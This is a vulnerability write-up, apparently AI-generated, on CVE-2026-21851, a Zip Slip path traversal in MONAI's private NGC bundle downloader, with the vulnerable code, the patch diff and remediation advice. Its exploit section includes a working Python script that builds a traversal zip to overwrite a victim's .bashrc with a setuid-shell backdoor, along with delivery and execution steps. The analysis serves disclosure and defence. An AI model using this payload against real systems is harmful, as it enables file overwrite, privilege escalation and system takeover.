CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21851
5.30.02%

CVE-2026-21851: The Doctor Will See You Now (To Overwrite Your System Files)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·0 visits

PoC Available

Executive Summary (TL;DR)

MONAI versions prior to 1.6.0 contain a Zip Slip vulnerability in the private NGC bundle downloader. By tricking a user into downloading a malicious archive, an attacker can overwrite system files (like SSH keys or configuration files) to achieve RCE. Fixed in commit 4014c84.

A deep-dive technical analysis of a classic Zip Slip vulnerability found in MONAI (Medical Open Network for AI). This report dissects how a simple oversight in the `_download_from_ngc_private` function allowed attackers to overwrite arbitrary files on a researcher's system, turning a standard model download into potential Remote Code Execution (RCE).

The Hook: Medical Grade Insecurity

In the world of medical AI, the stakes are usually high—patient data privacy, diagnostic accuracy, and regulatory compliance. But sometimes, the threat isn't a sophisticated state-sponsored actor trying to steal genomic data. Sometimes, it's just a developer in a hurry who forgot that the 1990s called and they want their vulnerability back.

Enter CVE-2026-21851. This isn't some complex heap feng shui exploit. It's Zip Slip—a vulnerability class so old it has whiskers. It was found in MONAI (Medical Open Network for AI), the de facto standard toolkit for healthcare imaging research. When you are building tools that analyze MRI scans to detect tumors, you generally want your software stack to be as sterile as an operating room. Unfortunately, the bundle management system had a dirty little secret.

The vulnerability resides in how MONAI handles "bundles"—pre-packaged AI models and workflows—downloaded from NVIDIA's NGC (GPU Cloud). Specifically, the private bundle downloader. It turns out that while the public downloader was wearing a hazmat suit, the private downloader was licking doorknobs. If you can convince a researcher to download your "state-of-the-art" model bundle, you can overwrite files anywhere on their disk.

The Flaw: A Blast from the Past

Let's talk about Zip Slip. It is the cockroach of software vulnerabilities; just when you think you've fumigated it, it skitters out from under a fridge in a different library. The premise is simple: ZIP archives store file paths. Those paths are trusted implicitly by naive extraction libraries.

If I hand you a ZIP file containing a file named ../../../../tmp/pwned, and you unzip it to /home/user/monai/, a naive extractor will concatenate the paths. The operating system resolves .. (parent directory) and places the file at /tmp/pwned, completely escaping your intended target directory. This is Directory Traversal 101, applied to archive extraction.

Python's zipfile module is notorious for this. The documentation for ZipFile.extractall() explicitly warns: "Never extract archives from untrusted sources without prior inspection." It is a loaded gun sitting on the table. The developers of MONAI knew this—they actually had secure extraction logic elsewhere in the codebase. But in the _download_from_ngc_private function, they bypassed their own safety checks and reached directly for the dangerous primitive.

The Code: Autopsy of a Vulnerability

The vulnerability lived in monai/bundle/scripts.py. The function _download_from_ngc_private handles authenticated downloads from NVIDIA's GPU Cloud. Here is the smoking gun:

# The Vulnerable Code
def _download_from_ngc_private(...):
    # ... [snip] authentication and download logic ...
    
    # The fatal flaw:
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)  # <--- CRITICAL FAIL
        logger.info(f"Writing into directory: {extract_path}.")

That z.extractall(extract_path) is the end of the line. It performs zero validation on the members of the zip file. If the zip file says "put this in /root/.ssh/authorized_keys", Python obediently asks the OS to do it. If the script is running with sufficient privileges (which, let's be honest, in data science docker containers, is usually root), it's game over.

The fix, applied in commit 4014c8475626f20f158921ae0cf98ed259ae4d59, is almost insulting in its simplicity. They simply swapped the insecure call for a secure helper function they already had available:

# The Patched Code
-    with zipfile.ZipFile(zip_path, "r") as z:
-        z.extractall(extract_path)
-        logger.info(f"Writing into directory: {extract_path}.")
+    _extract_zip(zip_path, extract_path)
+    logger.info(f"Writing into directory: {extract_path}.")

The _extract_zip function uses safe_extract_member, which checks if the final resolved path of the file actually resides within the target directory using os.path.commonpath. It's a standard, boring, effective fix.

The Exploit: Surgical Precision

Exploiting this requires two things: a malicious zip file and a way to get the victim to download it. Since this vulnerability is in the private NGC downloader, you might think the attack surface is limited. However, "private" often just means "authenticated," not "trusted."

Step 1: crafting the Malicious Payload

We need a script to generate a zip file that breaks out of the directory. Standard zip tools often sanitize these paths automatically, so we have to build it manually with Python:

import zipfile
import io
 
def create_poisoned_bundle():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as z:
        # The payload: Overwrite user's bashrc
        # Target: ../../../../../../home/victim/.bashrc
        payload = "\n# MONAI hacked you\ncp /bin/sh /tmp/sh; chmod +s /tmp/sh\n"
        
        # We traverse up 6 levels to be safe, hoping to hit root
        filename = "../../../../../../home/victim/.bashrc"
        
        z.writestr(filename, payload)
    
    with open("cool_medical_model.zip", "wb") as f:
        f.write(buf.getvalue())
 
create_poisoned_bundle()

Step 2: Delivery

The attacker uploads cool_medical_model.zip to an NGC repository they control or have compromised. They then send the bundle configuration to the victim: "Hey, check out this new tumor detection model, I put it on the private repo for testing."

Step 3: Execution

The victim runs: python -m monai.bundle download --name "cool_medical_model" --source "ngc_private"

MONAI authenticates, downloads the zip, and passes it to extractall(). The .bashrc file is overwritten. The next time the victim opens a terminal, the attacker's payload runs. In a CI/CD environment, this could overwrite a pipeline script, leading to supply chain compromise.

The Impact: Critical Condition

Why is the CVSS score only 5.3? The scoring metrics (CVSS v3.1) penalize the vulnerability for High Attack Complexity (AC:H) and User Interaction (UI:R). The logic is that you need credentials for a private NGC repo and you need to dupe a user.

Don't let the 5.3 fool you.

In the real world of AI research, these "complexities" are standard operating procedure. Teams share credentials. They download experimental bundles constantly.

  1. RCE (Remote Code Execution): Overwriting .bash_profile, .ssh/authorized_keys, or dropping a cron job allows full system takeover.
  2. Data Integrity Loss: An attacker could silently replace a model's weights file (model.pt) with a backdoored version. Imagine a medical AI that is 99% accurate, except when it sees a specific trigger in an X-ray, causing it to misdiagnose. That's not just a security risk; that's a patient safety risk.
  3. Lateral Movement: If the victim is a build server, the attacker now owns the build pipeline.

The Fix: Suturing the Wound

Remediation is straightforward. If you are using MONAI, you need to update. The fix was implicitly released in version 1.6.0 (or any build after commit 4014c84).

For Developers

If you are writing Python code that handles archives, stop using extractall() blindly. If you don't want to write your own path sanitizer, use a library like shutil.unpack_archive (usually safer, but verify) or copy the safe_extract logic used by MONAI:

def safe_extract(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not os.path.abspath(member_path).startswith(os.path.abspath(path)):
            raise Exception("Attempted Path Traversal in Tar File")
    tar.extractall(path, members, numeric_owner=numeric_owner)

(Note: The logic for Zip files is similar—verify the canonical path starts with the extraction root).

For Security Teams

Scan your Python environments for the monai package. If it's < 1.6.0, break the build. Additionally, monitor file integrity for critical system files (/etc/passwd, ~/.ssh/) on data science workstations.

Official Patches

Project MONAIGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Probability
0.02%
Top 97% most exploited

Affected Systems

MONAI Framework (Python)Medical AI Research WorkstationsCI/CD Pipelines using MONAI Bundles

Affected Versions Detail

Product
Affected Versions
Fixed Version
monai
Project-MONAI
<= 1.5.11.6.0
AttributeDetail
Vulnerability IDCVE-2026-21851
CWE IDCWE-22 (Path Traversal)
CVSS Score5.3 (Medium)
Attack VectorNetwork (with User Interaction)
ImpactArbitrary File Write / RCE
EPSS Score0.00016 (Low)
Patch StatusFixed in commit 4014c84

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1204User Execution
Execution
T1566Phishing
Initial Access
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

Generated PoCPython script demonstrating the creation of a Zip Slip payload targeting /tmp
NucleiDetection Template Available

Vulnerability Timeline

Patch Committed (4014c84)
2026-01-05
GHSA-9rg3-9pvr-6p27 Published
2026-01-05
CVE-2026-21851 Published
2026-01-07
Added to CISA Vulnerability Summary
2026-01-14

References & Sources

  • [1]NVD Entry
  • [2]GitHub Security Advisory
  • [3]Snyk: Zip Slip Vulnerability Explanation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.